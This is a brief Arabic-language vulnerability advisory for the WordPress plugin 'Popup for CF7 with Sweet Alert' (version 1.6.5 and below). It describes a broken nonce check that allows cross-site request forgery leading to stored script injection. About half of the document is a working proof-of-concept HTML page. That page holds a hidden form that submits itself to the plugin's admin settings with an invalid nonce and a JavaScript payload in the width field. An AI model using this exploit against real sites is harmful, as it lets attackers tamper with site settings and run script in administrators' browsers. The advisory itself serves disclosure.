
Popup for CF7 with Sweet Alert <= 1.6.5 - تزوير الطلب من جانب الموقع
نافذة منبثقة لـ CF7 مع Sweet Alert <= 1.6.5 - تزوير الطلبات عبر المواقع
https://wordpress.org/plugins/cf7-sweet-alert-popup/
يحتوي معالج إعدادات الإضافة على خطأ منطقي في التحقق من nonce يؤدي إلى تعطيل جميع حمايات CSRF. يمكن لمهاجم غير مصادق عليه استغلال ذلك عبر خداع مسؤول مصادق عليه لزيارة صفحة خبيثة تحتوي على نموذج مخفي يُرسل نفسه تلقائيًا، مما يتيح تعديل إعدادات الإضافة بشكل تعسفي. تُخزَّن القيم المُرسلة دون تنقية وتُحقن حرفيًا داخل كتلة
<!DOCTYPE html>
<html>
<body>
<h1>Hello</h1>
<form style="visibility:hidden" action="http://TARGET/wp-admin/admin.php?page=cf7-simplepopup"
method="POST" id="csrf" target="hiddenframe">
<input name="cf7simplePopupWidth" value="500;alert(document.domain)">
<input name="cf7simplePopupNonce" value="invalid_nonce">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>